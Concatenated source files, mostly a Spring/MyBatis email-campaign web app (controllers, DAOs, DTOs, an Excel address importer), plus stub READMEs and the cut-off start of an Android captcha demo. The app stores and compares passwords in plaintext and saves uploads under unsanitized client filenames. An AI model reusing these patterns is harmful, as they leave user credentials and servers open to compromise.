Path thumbNail = Paths.get("C:\\upload\\"+attach.getUploadPath()+"\\s_"+attach.getUuid()+"_"+attach.getFileName());
Files.delete(thumbNail);
}
} catch (Exception e) {
e.printStackTrace();
System.out.println("Delete file error : " + e.getMessage());
}
});
}
@RequestMapping(method= {RequestMethod.PUT, RequestMethod.PATCH}, value="/preview",
consumes = "application/json", produces = {MediaType.TEXT_PLAIN_VALUE})
@ResponseBody
public ResponseEntity<String> preview(@RequestBody MailboxDto dto, @RequestParam("bno") int bno) {
dto.setBno(bno);
return biz.updateMail(dto)
? new ResponseEntity<>("success", HttpStatus.OK)
: new ResponseEntity<>(HttpStatus.INTERNAL_SERVER_ERROR);
}
@RequestMapping(value="/showPreview", produces= {MediaType.APPLICATION_XML_VALUE,
MediaType.APPLICATION_JSON_UTF8_VALUE})
@ResponseBody
public ResponseEntity<MailboxDto> showPreview(@RequestParam("bno") int bno){
return new ResponseEntity<>(biz.getMail(bno), HttpStatus.OK);
}
}
```
HelpController.java
```package com.tmail.board.controller;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.List;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import com.tmail.board.Biz.AddressBiz;
import com.tmail.board.Biz.HelpBiz;
import com.tmail.board.Biz.RegisterBiz;
import com.tmail.board.Dto.AddressDto;
import com.tmail.board.Dto.Address_GroupDto;
import com.tmail.board.Dto.HelpDto;
@Controller
public class HelpController {
Logger log = LoggerFactory.getLogger(HelpController.class);
@Autowired
private RegisterBiz biz;
@Autowired
private HelpBiz help_biz;
@Autowired
private AddressBiz address_biz;
@RequestMapping(value = "helpform.do")
public String helpform(String email, Model model, HttpSession session, HelpDto dto) {
session.setAttribute("email", email);
String name = help_biz.help_registerName(email);
System.out.println(name + "๋๋น์์ ๋์จ์ด๋ฆ");
model.addAttribute("list", help_biz.help_groupList());
model.addAttribute("name", name);
return "help_tomail";
}
@RequestMapping(value = "help_insert.do")
public String help_insert(Model model, HttpSession session, HelpDto dto) {
String email = (String) session.getAttribute("email");
String name = help_biz.help_registerName(email);
System.out.println(name + "๋๋น์์ ๋์จ์ด๋ฆ");
dto.setMembers_name(name);
help_biz.insertHelp(dto);
model.addAttribute("list", help_biz.help_groupList());
model.addAttribute("name", name);
return "help_tomail";
}
@RequestMapping(value = "help_update.do")
public String help_update(String email, Model model, HttpSession session, HelpDto dto,
HttpServletResponse response) {
session.setAttribute("email", email);
String name = help_biz.help_registerName(email);
dto.setMembers_name(name);
int num = help_biz.help_update(dto);
System.out.println(name + "๋๋น์์ ๋์จ์ด๋ฆ");
if (num == 1) {
model.addAttribute("list", help_biz.help_groupList());
model.addAttribute("name", name);
return "help_tomail";
} else if (num == 0) {
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html; charset=UTF-8"); // ํ๊ธ๊นจ์ง ๋ฐฉ์ง
PrintWriter out_p = null;
try {
out_p = response.getWriter();
out_p.println("<script>alert('์คํจ..');</script>");
} catch (IOException e) {
e.printStackTrace();
} finally {
out_p.flush();
}
model.addAttribute("list", help_biz.help_groupList());
model.addAttribute("name", name);
return "help_tomail";
}
return "error";
}
@RequestMapping(value = "delete_help.do")
public String help_delete(int help_seq, Model model, HttpSession session, HttpServletResponse response) {
int res = help_biz.help_delete(help_seq);
String email = (String) session.getAttribute("email");
String name = help_biz.help_registerName(email);
System.out.println(name + "๋๋น์์ ๋์จ์ด๋ฆ");
if (res == 1) {
model.addAttribute("list", help_biz.help_groupList());
model.addAttribute("name", name);
return "help_tomail";
} else if (res == 0) {
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html; charset=UTF-8"); // ํ๊ธ๊นจ์ง ๋ฐฉ์ง
PrintWriter out_p = null;
try {
out_p = response.getWriter();
out_p.println("<script>alert('์คํจ..');</script>");
} catch (IOException e) {
e.printStackTrace();
} finally {
out_p.flush();
}
model.addAttribute("list", help_biz.help_groupList());
model.addAttribute("name", name);
return "help_tomail";
}
return "error";
}
// ํด๋ผ์ด์ธํธ๊ฐ ์ ํํ ๊ทธ๋ฃน
@RequestMapping(value = "addr_group.do")
public String group_seq(int[] all_value, HttpSession session, AddressDto dto, Model model) {
List<String> addr_email = new ArrayList<String>();
List<String> cus_seq = null;
List<String> emails = new ArrayList<String>();
String email = (String) session.getAttribute("group_email");
System.out.println(email + "์ธ์
์ด๋ฉ์ผ------------------");
System.out.println(emails + "๋ณด๋ธ ๊ตฌ๋
์ ์ด๋ฉ์ผ");
int members_seq = biz.member_seq_return(email);
System.out.println(members_seq + "๋ฉค๋ฒ seq ๋ฆฌํด");
for (int i = 0; i < all_value.length; i++) {
int res = address_biz.group_admin_size(all_value[i]);
System.out.println(all_value[i] + "๊ทธ๋ฃนSEQ-------------------");
if (res != 0) {
dto.setGroup_seq(all_value[i]);
dto.setMembers_seq(members_seq);
cus_seq = address_biz.selectOne_cus_seq(dto);
System.out.println(cus_seq+"cus_seq-----return");
System.out.println("controller:" + dto.getCustomer_seq() + "");
List<String> emails_return = help_biz.help_email_return(dto,cus_seq);
System.out.println(emails_return+"##################");
for(String j : emails_return){
emails.add(j);
}
//System.out.println("controller:" + addr_email.get(i));
System.out.println("controller end");
}
}
System.out.println(emails + "------------------------------์ ๋ฐ");
session.setAttribute("emails", emails);
model.addAttribute("emails_fuc",emails);
model.addAttribute("email",email);
return "emailTemplate";
}
}```
Group_addressEmailDto.java
```package com.tmail.board.Dto;
public class Group_addressEmailDto {
private String group_address_email;
private int members_seq;
private int group_seq;
public String getGroup_address_email() {
return group_address_email;
}
public void setGroup_address_email(String group_address_email) {
this.group_address_email = group_address_email;
}
public int getMembers_seq() {
return members_seq;
}
public void setMembers_seq(int members_seq) {
this.members_seq = members_seq;
}
public int getGroup_seq() {
return group_seq;
}
public void setGroup_seq(int group_seq) {
this.group_seq = group_seq;
}
@Override
public String toString() {
return "Group_addressEmailDto [group_address_email=" + group_address_email + ", members_seq=" + members_seq
+ ", group_seq=" + group_seq + "]";
}
}
```
MailboxDao.java
```package com.tmail.board.Dao;
import java.util.List;
import org.apache.ibatis.annotations.Param;
import com.tmail.board.Dto.Criteria;
import com.tmail.board.Dto.MailboxDto;
import com.tmail.board.Dto.RegisterDto;
public interface MailboxDao {
String namespace = "mailbox.";
List<MailboxDto> getList(@Param("cri") Criteria cri, @Param("email") String email);
List<MailboxDto> getTemplates(String email);
void addMail(MailboxDto mail);
void insertSelectKey(MailboxDto mail);
MailboxDto getMail(int bno);
boolean deleteMail(int bno);
boolean updateMail(MailboxDto mail);
int getTotal(String email);
}
```
MailboxDaoImpl.java
```package com.tmail.board.Dao.impl;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import org.mybatis.spring.SqlSessionTemplate;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Repository;
import com.tmail.board.Dao.MailboxDao;
import com.tmail.board.Dto.Criteria;
import com.tmail.board.Dto.MailboxDto;
@Repository
public class MailboxDaoImpl implements MailboxDao{
@Autowired
SqlSessionTemplate sql;
@Override
public List<MailboxDto> getList(Criteria cri, String email) {
Map<String, Object> map = new HashMap<String, Object>();
map.put("cri", cri);
map.put("email", email);
return sql.selectList(namespace + "getListWithPaging", map);
}
@Override
public int getTotal(String email) {
return sql.selectOne(namespace + "getCountByEmail", email);
}
@Override
public void addMail(MailboxDto mail) {
sql.insert(namespace + "addMail", mail);
}
@Override
public void insertSelectKey(MailboxDto mail) {
sql.insert(namespace + "insertSelectKey", mail);
}
@Override
public MailboxDto getMail(int bno) {
return sql.selectOne(namespace + "getMail", bno);
}
@Override
public boolean deleteMail(int bno) {
return sql.delete(namespace + "deleteMail", bno) == 1;
}
@Override
public boolean updateMail(MailboxDto mail) {
return sql.update(namespace + "updateMail", mail) == 1;
}
@Override
public List<MailboxDto> getTemplates(String email) {
return sql.selectList(namespace + "getTemplates", email);
}
}
```
EmailbuilderController.java
```package com.tmail.board.controller;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import javax.mail.MessagingException;
import javax.mail.internet.MimeMessage;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.annotation.Profile;
import org.springframework.mail.javamail.JavaMailSender;
import org.springframework.mail.javamail.MimeMessageHelper;
import org.springframework.http.HttpRequest;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.multipart.MultipartFile;
import org.springframework.web.multipart.MultipartHttpServletRequest;
import org.springframework.web.util.WebUtils;
import com.tmail.board.Biz.AddressBiz;
import com.tmail.board.Biz.HelpBiz;
import com.tmail.board.Biz.MailboxBiz;
import com.tmail.board.Biz.RegisterBiz;
import com.tmail.board.Dto.AddressDto;
import com.tmail.board.Dto.Criteria;
import com.tmail.board.Dto.MailboxDto;
import com.tmail.board.Dto.PageDto;
import com.tmail.board.Dto.SummernoteDto;
import com.tmail.board.excel.ReadXLSX;
@Controller
public class EmailbuilderController {
@Autowired
private JavaMailSender mailSender;
@Autowired
private RegisterBiz reg_biz;
@Autowired
private AddressBiz biz;
@Autowired
private ReadXLSX ex_red;
@Autowired
private HelpBiz help_biz;
@Autowired
private MailboxBiz mailboxBiz;
@RequestMapping(value="EmailBuilderForm.do")
public String EmailBuilderForm() {
return "EmailBuilder_head";
}
@RequestMapping(value="testess.do")
public String testess(Model model, String email) {
model.addAttribute("email", email);
return "emailTemplate";
}
@RequestMapping(value="convas.do",method=RequestMethod.POST)
public String convas(@RequestParam("profile") Profile profile){
System.out.println(profile);
return "mailTest";
}
@RequestMapping(value="tem.do")
public String template(HttpSession session ,int num, String email, Model model) {
model.addAttribute("email", email);
session.setAttribute("num", num);
if(num==1) {
return "tem1";
}else if(num==2) {
return "tem2";
}else if(num==3) {
return "tem3";
}else if(num==4) {
return "tem4";
}else if(num==5) {
return "tem5";
}
return "error";
}
@RequestMapping(value="tem_sel.do")
public String template_select(HttpSession session, Model model, SummernoteDto dto) {
System.out.println(dto.getEmail()+"์ ์ ๋ฐ ํ๋๋");
String email = (String) session.getAttribute("email");
session.setAttribute("client_email", email);
int num = (Integer) session.getAttribute("num");
System.out.println(num);
if(num==1) {
model.addAttribute("email_fuc", dto.getEmail());
model.addAttribute("template", "tem1.jsp");
model.addAttribute("title",dto.getBuild_content());
return "templateBuilder_view";
}else if(num==2) {
model.addAttribute("email_fuc", dto.getEmail());
model.addAttribute("template", "tem2.jsp");
model.addAttribute("title",dto.getBuild_content());
return "templateBuilder_view";
}else if(num==3) {
model.addAttribute("email_fuc", dto.getEmail());
model.addAttribute("template", "tem3.jsp");
model.addAttribute("title",dto.getBuild_content());
return "templateBuilder_view";
}else if(num==4) {
model.addAttribute("email_fuc", dto.getEmail());
model.addAttribute("template", "tem4.jsp");
model.addAttribute("title",dto.getBuild_content());
return "templateBuilder_view";
}else if(num==5) {
model.addAttribute("email_fuc", dto.getEmail());
model.addAttribute("template", "tem5.jsp");
model.addAttribute("title",dto.getBuild_content());
return "templateBuilder_view";
}
return "error";
}
@RequestMapping(value="change_img.do")
public String imgChange(HttpServletResponse response, MultipartHttpServletRequest multi, Model model, HttpSession session) throws IOException {
int num = (Integer) session.getAttribute("num");
InputStream inputStream = null;
OutputStream outputStream = null;
if(multi.getFile("files").getSize()>0) {
// ํ์ผ๊ฒฝ๋ก
String path = "";
try {
path = WebUtils.getRealPath(multi.getSession().getServletContext(), "/storage");
} catch (FileNotFoundException e1) {
e1.printStackTrace();
}
System.out.println(path);
// ํ์ผ๋ค์ Listํ์์ผ๋ก ๋ณด๊ด
List<MultipartFile> files = multi.getFiles("files");
File file = new File(path);
// ํ์ผ์ด ์๋ค๋ฉด ๋๋ ํ ๋ฆฌ๋ฅผ ์์ฑ
if (file.exists() == false) {
file.mkdirs();
}
String paths = "";
//List<String> paths = new ArrayList<String>();
File filename = null;
for (int i = 0; i < files.size(); i++) {
inputStream = files.get(i).getInputStream();
System.out.println(files.get(i).getOriginalFilename() + " ์
๋ก๋");
filename = new File(path + "/" + files.get(i).getOriginalFilename());
if (!filename.exists()) {
filename.createNewFile();
}
outputStream = new FileOutputStream(filename);
int read = 0;
byte[] b = new byte[(int) files.get(i).getSize()];
while ((read = inputStream.read(b)) != -1) {
outputStream.write(b, 0, read);
}
System.out.println(session.getServletContext().getRealPath("/")+"๊ฒฝ๋ก๊ฒฝ๋ก");
System.out.println(path + "\\" + files.get(i).getOriginalFilename());
paths = path + "\\" + files.get(i).getOriginalFilename();
}
session.setAttribute("img1", paths);
if(num==1) {
model.addAttribute("template", "tem1.jsp");
System.out.println(paths);
model.addAttribute("img", paths);
return "templateBuilder_view";
}else if(num==2) {
model.addAttribute("template", "tem2.jsp");
model.addAttribute("img", paths);
return "templateBuilder_view";
}else if(num==3) {
model.addAttribute("template", "tem3.jsp");
model.addAttribute("img", paths);
return "templateBuilder_view";
}else if(num==4) {
model.addAttribute("template", "tem4.jsp");
model.addAttribute("img", paths);
return "templateBuilder_view";
}else if(num==5) {
model.addAttribute("template", "tem5.jsp");
model.addAttribute("img", paths);
return "templateBuilder_view";
}
return "templateBuilder_view";
}else {
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html; charset=UTF-8"); // ํ๊ธ๊นจ์ง ๋ฐฉ์ง
PrintWriter out_p = null;
try {
out_p = response.getWriter();
out_p.println("<script>alert('์ด๋ฏธ์ง๋ฅผ ๋ฃ์ด์ฃผ์ธ์');</script>");
} catch (IOException e) {
e.printStackTrace();
} finally {
out_p.flush();
}
if(num==1) {
model.addAttribute("template", "tem1.jsp");
return "templateBuilder_view";
}else if(num==2) {
model.addAttribute("template", "tem2.jsp");
return "templateBuilder_view";
}else if(num==3) {
model.addAttribute("template", "tem3.jsp");
return "templateBuilder_view";
}else if(num==4) {
model.addAttribute("template", "tem4.jsp");
return "templateBuilder_view";
}else if(num==5) {
model.addAttribute("template", "tem5.jsp");
return "templateBuilder_view";
}
}
return "templateBuilder_view";
}
@RequestMapping(value="sendMail.do", method=RequestMethod.POST)
public String tests(HttpServletResponse response, AddressDto addr, MailboxDto mail, Criteria cri, HttpSession session, Model model, String email) throws MessagingException, IOException {
MimeMessage message = mailSender.createMimeMessage();
MimeMessageHelper messageHelper = new MimeMessageHelper(message, true, "UTF-8");
String setfrom = "jea830@hanmail.net";
List<String> tomail = mail.getRecipient(); // ๋ฐ๋ ์ฌ๋ ์ด๋ฉ์ผ
String title = mail.getTitle(); // ์ ๋ชฉ
String content = mail.getContent(); // ๋ด์ฉ
for(int i = 0; i< tomail.size(); i++) {
messageHelper.setFrom(setfrom); // ๋ณด๋ด๋์ฌ๋ ์๋ตํ๊ฑฐ๋ ํ๋ฉด ์ ์์๋์ ์ํจ
messageHelper.setTo(tomail.get(i)); // ๋ฐ๋์ฌ๋ ์ด๋ฉ์ผ
messageHelper.setSubject(title); // ๋ฉ์ผ์ ๋ชฉ์ ์๋ต์ด ๊ฐ๋ฅํ๋ค
messageHelper.setText(content, true); // html์ด๋ผ๋ ์๋ฏธ๋ก true๋ฅผ ์จ์ค๋ค.
mailSender.send(message);
}
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html; charset=UTF-8"); // ํ๊ธ๊นจ์ง ๋ฐฉ์ง
PrintWriter out_p = null;
out_p = response.getWriter();
out_p.println("<script>alert('๋ฉ์ผ์ ๋ณด๋์ด์!');</script>");
out_p.flush();
mailboxBiz.addMail(mail);
model.addAttribute("email", email);
model.addAttribute("list", mailboxBiz.getList(cri, email));
int total = mailboxBiz.getTotal(cri, email);
model.addAttribute("pageMaker", new PageDto(cri, total));
return "getList";
}
}
```
AddressBizImpl.java
```package com.tmail.board.Biz.impl;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import com.tmail.board.Biz.AddressBiz;
import com.tmail.board.Dao.AddressDao;
import com.tmail.board.Dto.AddressDto;
import com.tmail.board.Dto.Address_GroupDto;
@Service
public class AddressBizImpl implements AddressBiz {
@Autowired
private AddressDao dao;
@Override
public List<AddressDto> selectList(AddressDto dto) {
return dao.selectList(dto);
}
@Override
public AddressDto selectOne_email_chk(String name) {
return dao.selectOne_email_chk(name);
}
@Override
public int insert(AddressDto dto) {
return dao.insert(dto);
}
@Override
public int update(AddressDto dto) {
return dao.update(dto);
}
@Override
public int delete(String name) {
return dao.delete(name);
}
@Override
public int address_check(AddressDto dto) {
return dao.address_check(dto);
}
@Override
public int group_insert(Address_GroupDto dto) {
return dao.group_insert(dto);
}
@Override
public List<Address_GroupDto> selectList_Group(int members_seq) {
return dao.selectList_Group(members_seq);
}
@Override
public int group_admin_size(int group_seq) {
return dao.group_admin_size(group_seq);
}
@Override
public int delete_group(Address_GroupDto dto) {
return dao.delete_group(dto);
}
@Override
public int update_group(Address_GroupDto dto) {
return dao.update_group(dto);
}
@Override
public int group_cnt(Address_GroupDto dto) {
return dao.group_cnt(dto);
}
@Override
public int delete_addr(AddressDto dto) {
return dao.delete_addr(dto);
}
@Override
public String selectOne_email(AddressDto dto) {
return dao.selectOne_email(dto);
}
@Override
public List<String> selectOne_cus_seq(AddressDto dto) {
return dao.selectOne_cus_seq(dto);
}
}```
AddressDto.java
```package com.tmail.board.Dto;
import java.util.List;
public class AddressDto {
private int customer_seq;
private String customer_name;
private String customer_email;
private int group_seq;
private int members_seq;
private String all_cus_seq;
private List<String> email_list;
public int getCustomer_seq() {
return customer_seq;
}
public void setCustomer_seq(int customer_seq) {
this.customer_seq = customer_seq;
}
public String getCustomer_name() {
return customer_name;
}
public void setCustomer_name(String customer_name) {
this.customer_name = customer_name;
}
public String getCustomer_email() {
return customer_email;
}
public void setCustomer_email(String customer_email) {
this.customer_email = customer_email;
}
public int getGroup_seq() {
return group_seq;
}
public void setGroup_seq(int group_seq) {
this.group_seq = group_seq;
}
public int getMembers_seq() {
return members_seq;
}
public void setMembers_seq(int members_seq) {
this.members_seq = members_seq;
}
public String getAll_cus_seq() {
return all_cus_seq;
}
public void setAll_cus_seq(String all_cus_seq) {
this.all_cus_seq = all_cus_seq;
}
public List<String> getEmail_list() {
return email_list;
}
public void setEmail_list(List<String> email_list) {
this.email_list = email_list;
}
@Override
public String toString() {
return "Email [customer_seq=" + customer_seq + ", customer_name=" + customer_name + ", customer_email="
+ customer_email + ", members_seq=" + "]";
}
}```
RegisterDaoImpl.java
```package com.tmail.board.Dao.impl;
import org.mybatis.spring.SqlSessionTemplate;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Repository;
import com.tmail.board.Dao.RegisterDao;
import com.tmail.board.Dto.RegisterDto;
@Repository
public class RegisterDaoImpl implements RegisterDao {
@Autowired
private SqlSessionTemplate sqlSession;
public int joinInsert(RegisterDto dto) {
int res = 0;
try {
res = sqlSession.insert(namespace+"joinInsert",dto);
} catch (Exception e) {
e.printStackTrace();
}
return res;
}
@Override
public int loginSelect(String email,String pw) {
String select_pw = null;
try {
select_pw = sqlSession.selectOne(namespace+"loginSelect",email);
} catch(Exception e) {
e.printStackTrace();
}
if(pw.equals(select_pw)) {
return 1;
}else {
return 0;
}
}
@Override
public int joinCheck(String email,String pw) {
String select_email = null;
try {
select_email = sqlSession.selectOne(namespace+"joincheck",email);
} catch(Exception e) {
e.printStackTrace();
}
if(email.equals(select_email)) {
return 0;
}else {
return 1;
}
}
@Override
public int pass_ck(String email) {
String seach_email = null;
try {
seach_email = sqlSession.selectOne(namespace+"pass_ck",email);
} catch (Exception e) {
e.printStackTrace();
}
if(email.equals(seach_email)) {
return 1;
}else {
return 0;
}
}
@Override
public void pass_complate(String email) {
int res = 0;
try {
res = sqlSession.update(namespace+"pass_ck_complate",email);
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public int pass_change(RegisterDto dto) {
int res = 0;
try {
res = sqlSession.update(namespace+"pass_change", dto);
} catch (Exception e) {
e.printStackTrace();
}
return res;
}
@Override
public String mail_check(String email) {
String mail_ck = null;
try {
mail_ck = sqlSession.selectOne(namespace+"mail_check", email);
} catch (Exception e) {
e.printStackTrace();
}
return mail_ck;
}
@Override
public int member_seq_return(String email) {
int member_seq = 0;
try {
member_seq = sqlSession.selectOne(namespace+"member_seq_return", email);
} catch (Exception e) {
e.printStackTrace();
}
return member_seq;
}
@Override
public String master_name_ck(String email) {
String master_name = "";
System.out.println(email);
try {
master_name = sqlSession.selectOne(namespace+"master_name_selectOne",email);
} catch (Exception e) {
e.printStackTrace();
}
if(master_name.equals("๊ด๋ฆฌ์")) {
return master_name;
}else {
return "false";
}
}
@Override
public RegisterDto getMember(int members_seq) {
return sqlSession.selectOne(namespace + "selectMember" , members_seq);
}
}```
PersonalDaoImpl.java
```package com.tmail.board.Dao.impl;
import java.util.List;
import org.mybatis.spring.SqlSessionTemplate;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Repository;
import com.tmail.board.Dao.PersonalDao;
import com.tmail.board.Dto.AddressDto;
import com.tmail.board.Dto.PersonalDto;
@Repository
public class PersonalDaoImpl implements PersonalDao {
@Autowired
private SqlSessionTemplate SqlSession;
@Override
public int person(PersonalDto dto) {
String myPersonal = "";
try {
myPersonal = SqlSession.selectOne(namespace + "personalSelect", dto);
} catch (Exception e) {
e.printStackTrace();
}
if(dto.getMembers_pw().equals(myPersonal)) {
return 1;
}
else {
return 0;
}
}
@Override
public List<PersonalDto> personalList(PersonalDto dto) {
List<PersonalDto>res = null;
try {
res = SqlSession.selectList(namespace + "personalList", dto);
} catch (Exception e) {
e.printStackTrace();
}
return res;
}
@Override
public int personalPwChange(PersonalDto dto) {
int res = 0;
try {
res = SqlSession.update(namespace + "personalPwChange", dto);
} catch (Exception e) {
e.printStackTrace();
}
return res;
}
}
```
PersonalBiz.java
```package com.tmail.board.Biz;
import java.util.List;
import com.tmail.board.Dto.PersonalDto;
public interface PersonalBiz {
public int person(PersonalDto dto);
public List<PersonalDto> personalList(PersonalDto dto);
public int personalPwChange(PersonalDto dto);
}
```
ReadXLSX.java
```package com.tmail.board.excel;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import org.apache.poi.ss.usermodel.Cell;
import org.apache.poi.ss.usermodel.Row;
import org.apache.poi.xssf.usermodel.XSSFSheet;
import org.apache.poi.xssf.usermodel.XSSFWorkbook;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import com.tmail.board.Biz.AddressBiz;
import com.tmail.board.Dto.AddressDto;
import com.tmail.board.Dto.InsertResultDto;
@Service
public class ReadXLSX {
@Autowired
private AddressBiz biz;
public void ReadXLSX_Read(String filePath, int members_seq, int group_seq) throws IOException {
AddressDto dto = new AddressDto();
InsertResultDto result = new InsertResultDto();
FileInputStream fis = new FileInputStream(new File(filePath));
XSSFWorkbook workbook = new XSSFWorkbook (fis);
XSSFSheet sheet = workbook.getSheetAt(0);
Iterator ite = sheet.rowIterator();
List<String> exLeader = new ArrayList<String>();
List<String> email = new ArrayList<String>();
List<String> name = new ArrayList<String>();
List<String> email_false = new ArrayList<String>();
List<String> name_false = new ArrayList<String>();
int sum = 0;
while(ite.hasNext()){
Row row = (Row) ite.next();
Iterator<Cell> cite = row.cellIterator();
while(cite.hasNext()){
Cell c = cite.next();
String exLeaders = (c.toString());
exLeader.add(exLeaders);
}
System.out.println();
}
for(int i = 0; i<exLeader.size(); i++){
if(i%2!=0) {
System.out.println(exLeader.get(i)+"์ด๋ฉ์ผ");
email.add(exLeader.get(i));
}else if(i%2==0) {
System.out.println(exLeader.get(i)+"์ด๋ฆ");
name.add(exLeader.get(i));
}
}
for(int i = 0; i<email.size(); i++) {
dto.setCustomer_email(email.get(i));
dto.setMembers_seq(members_seq);
dto.setCustomer_name(name.get(i));
int check = biz.address_check(dto);
System.out.println("์ค๋ณต์ฒดํฌ"+check);
if(check==1) {
dto.setGroup_seq(group_seq);
int res = biz.insert(dto);
sum = sum + res;
}else {
email_false.add(email.get(i));
name_false.add(name.get(i));
}
}
System.out.println(sum);
System.out.println(email_false);
System.out.println(name_false);
result.setEmailFalse(email_false);
result.setNameFalse(name_false);
result.setSum(sum);
fis.close();
}
} ```
AddressDao.java
```package com.tmail.board.Dao;
import java.util.List;
import com.tmail.board.Dto.AddressDto;
import com.tmail.board.Dto.Address_GroupDto;
public interface AddressDao {
String namespace = "email.";
public List<AddressDto> selectList(AddressDto dto);
public AddressDto selectOne_email_chk(String name);
public int insert(AddressDto dto);
public int update(AddressDto dto);
public int delete(String name);
public int address_check(AddressDto dto);
public int group_insert(Address_GroupDto dto);
public List<Address_GroupDto> selectList_Group(int members_seq);
public int group_admin_size(int group_seq);
public int delete_group(Address_GroupDto dto);
public int update_group(Address_GroupDto dto);
public int group_cnt(Address_GroupDto dto);
public int delete_addr(AddressDto dto);
public String selectOne_email(AddressDto dto);
public List<String> selectOne_cus_seq(AddressDto dto);
}```
PersonalDao.java
```package com.tmail.board.Dao;
import java.util.List;
import com.tmail.board.Dto.PersonalDto;
public interface PersonalDao {
String namespace = "person.";
public int person(PersonalDto dto);
public List<PersonalDto> personalList(PersonalDto dto);
public int personalPwChange(PersonalDto dto);
}
```
MailboxBiz.java
```package com.tmail.board.Biz;
import java.util.List;
import com.tmail.board.Dto.Criteria;
import com.tmail.board.Dto.MailboxAttachDto;
import com.tmail.board.Dto.MailboxDto;
public interface MailboxBiz {
List<MailboxDto> getList(Criteria cri, String email);
List<MailboxDto> getTemplates(String email);
void addMail(MailboxDto mail);
MailboxDto getMail(int bno);
boolean deleteMail(int bno);
boolean updateMail(MailboxDto mail);
int getTotal(Criteria cri, String email);
List<MailboxAttachDto> getAttachList(int bno);
}
```
RegisterBizImpl.java
```package com.tmail.board.Biz.impl;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import com.tmail.board.Biz.RegisterBiz;
import com.tmail.board.Dao.RegisterDao;
import com.tmail.board.Dto.RegisterDto;
@Service
public class RegisterBizImpl implements RegisterBiz {
@Autowired
private RegisterDao dao;
@Override
public int joinInsert(RegisterDto dto) {
return dao.joinInsert(dto);
}
@Override
public int loginSelect(String email,String pw) {
return dao.loginSelect(email,pw);
}
@Override
public int joinCheck(String email,String pw) {
return dao.joinCheck(email,pw);
}
@Override
public int pass_ck(String email) {
return dao.pass_ck(email);
}
@Override
public void pass_complate(String email) {
dao.pass_complate(email);
}
@Override
public int pass_change(RegisterDto dto) {
return dao.pass_change(dto);
}
@Override
public String mail_check(String email) {
return dao.mail_check(email);
}
@Override
public int member_seq_return(String email) {
return dao.member_seq_return(email);
}
@Override
public String master_name_ck(String email) {
return dao.master_name_ck(email);
}
@Override
public RegisterDto getMember(int members_seq) {
return dao.getMember(members_seq);
}
}```
HelpBizImpl.java
```package com.tmail.board.Biz.impl;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import com.tmail.board.Biz.HelpBiz;
import com.tmail.board.Dao.HelpDao;
import com.tmail.board.Dto.AddressDto;
import com.tmail.board.Dto.HelpDto;
@Service
public class HelpBizImpl implements HelpBiz{
@Autowired
private HelpDao dao;
@Override
public int insertHelp(HelpDto dto) {
return dao.insertHelp(dto);
}
@Override
public List<HelpDto> help_groupList() {
return dao.help_groupList();
}
@Override
public String help_registerName(String email) {
return dao.help_registerName(email);
}
@Override
public int help_update(HelpDto dto) {
return dao.help_update(dto);
}
@Override
public int help_delete(int help_seq) {
return dao.help_delete(help_seq);
}
@Override
public List<String> help_email_return(AddressDto dto, List<String> cus_seq) {
return dao.help_email_return(dto,cus_seq);
}
}```
|
yunjinghui123/JHWaterLayout
|
yunjinghui123/JHWaterLayout
README.md
```# JHWaterLayout
a base of layout tool
```
|
yunkyung99/osi-and-tcp
|
yunkyung99/osi-and-tcp
README.md
```# osi-and-tcp```
|
yunluwen/spark_source-1.6.0
|
yunluwen/spark_source-1.6.0
README.md
```# spark_source-1.6.0
```
|
yunpian/yunpian-captcha-demo-android
|
yunpian/yunpian-captcha-demo-android
MainActivity.java
```package com.yunpian.captcha.demo;
import android.content.DialogInterface;
import android.net.http.SslError;
import android.os.Bundle;
import android.view.View;
import android.webkit.SslErrorHandler;
import android.webkit.WebView;
import android.widget.CheckBox;
import android.widget.EditText;
import android.widget.SeekBar;
import android.widget.TextView;
import android.widget.Toast;
import androidx.appcompat.app.AlertDialog;
import androidx.appcompat.app.AppCompatActivity;
import com.qipeng.captcha.QPCaptcha;
import com.qipeng.captcha.QPCaptchaConfig;
import com.qipeng.captcha.QPCaptchaListener;
import org.json.JSONException;
import org.json.JSONObject;
public class MainActivity extends AppCompatActivity {
private SeekBar alphaSeekbar;
private SeekBar widthSeekbar;
private SeekBar expiredSeekbar;
private TextView widthSeekbarTv;
private TextView alphaSeekbarTv;
private TextView expiredSeekbarTv;
private CheckBox showLoadingCb;
private CheckBox langEnCb;
private JSONObject langPackModel;
private int MAX_PADDING = 64;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
showLoadingCb = findViewById(R.id.show_loading_cb);
